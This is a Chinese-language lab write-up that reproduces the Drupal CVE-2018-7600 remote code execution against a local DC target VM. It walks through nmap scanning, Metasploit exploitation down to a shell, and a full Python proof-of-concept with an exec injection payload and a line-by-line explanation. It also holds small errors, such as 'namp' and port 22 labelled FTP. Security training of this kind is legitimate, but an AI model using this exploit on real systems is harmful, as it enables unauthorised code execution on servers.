
工具准备:
1.Kali
2.VM虚拟机

环境搭建与配置:
1.利用VM搭建DC靶机
2.配置网络连接
需要保证攻击机(kali)和DC靶机的网络连接模式保持相同

3.漏洞描述
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。
2018年3月28日,Drupal Security Team官方发布公告称Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用该漏洞执行恶意代码。
Drupal未对表单请求数据做严格过滤,导致攻击者可以将恶意代码注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
影响范围: Drupal 6,7,8等多个子版本
复现文章:
https://www.freebuf.com/vuls/268189.html漏洞复现阶段:
1.外围打点---信息收集-IP:
由于在虚拟机上实现的复现,在上面赘述中已经提到了,通过配置网络(同桥接模式或同NAT模式)即可实现在同局域网下的IP配置
拿到了C段地址就可以利用nmap扫描C段下存活主机
payload:nmap -sn 192.168.192.0/24分析反馈内容:
192.168.192.1 #网关
192.168.192.2 #宿主机虚拟网卡
192.168.192.130 #靶机IP地址
192.168.192.254 #给虚拟机分配的IP地址
192.168.192.128 #本机kali的IP地址
2.外围打点---信息收集-端口:
通过nmap扫描爆破端口
payload:namp -p- -V 192.168.192.130
3.外围打点---信息收集-站点
根据上面的回显分析一下内容:
80 #http协议端口-常用站点
22 #FTP协议端口
直接访问:http://192.168.192.130
4.外围打点---信息收集-指纹收集
利用Wappalyzer进行指纹识别和收集
发现用的是Drupal7的CMS系统
5.外围打点---信息收集-漏洞信息收集
基于指纹识别到的信息进行一个收集,发现是一个RCE漏洞
6.漏洞利用---EXP收集-漏洞信息收集
https://www.exploit-db.com
https://avd.aliyun.com/
已经给出meatsploit验证过漏洞,那么这个时候利用这个工具挖掘漏洞。
7.漏洞利用---EXP-Metasploit Framework
payload:
1、输入msfconsole
2、use
payload:use
8.漏洞利用---EXP-漏洞查找
搜索drupal可以进行漏洞利用的模块
payload:search drupal
9.漏洞利用---EXP-漏洞模块利用
利用用户组1
查看漏洞利用的具体配置 :show options
注意YES的就是一定要进行配置的
payload:use 1
payload:show options 
10.漏洞利用---EXP-shell获取
配置rhost远程地址(即 攻击谁 就配置谁的IP地址)
攻击:run
拿到meterpreter 。相当于拿到靶机的权限,在拿到的权限范围内,想干什么都可以。
set rhost 192.168.192.130
run
shell
11.漏洞利用---EXP-flag获取

漏洞原理剖析:
EXP:
#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
核心利用逻辑
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'构造恶意 URL:
路径:/user/register(Drupal 用户注册页面)
查询参数:
element_parents=account/mail/%23value → %23 是 # 的 URL 编码,最终解析为 account/mail/#value
这个参数会触发 Drupal 渲染引擎去处理 mail 字段的 #value 属性
ajax_form=1&_wrapper_format=drupal_ajax → 强制返回 AJAX 格式响应(绕过某些防护)
payload = {
'form_id': 'user_register_form',
'_drupal_ajax': '1',
'mail[#post_render][]': 'exec',
'mail[#type]': 'markup',
'mail[#markup]': 'echo ";-)" | tee hello.txt'
}POST 数据构造关键点:
mail[#post_render][] = exec
→ 利用 Drupal 渲染机制中的#post_render回调功能,指定使用 PHP 的exec()函数。
mail[#markup] = echo ";-)" | tee hello.txt
→ 作为exec()的参数,执行 shell 命令:将字符串;-)写入网站根目录下的hello.txt文件。
#type = markup表示该字段是原始 HTML/文本输出。💡 关键技巧:Drupal 允许在表单中通过
#属性控制渲染行为,而未对#post_render等危险属性做白名单限制,导致任意函数调用。
r = requests.post(url, proxies=proxies, data=payload, verify=verify)发送恶意 POST 请求,尝试触发 RCE。
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')验证是否成功:访问
hello.txt,若返回 200,则说明命令执行成功,漏洞存在。
当然啦~这里因为MSF已经收录了EXP直接用就可以了;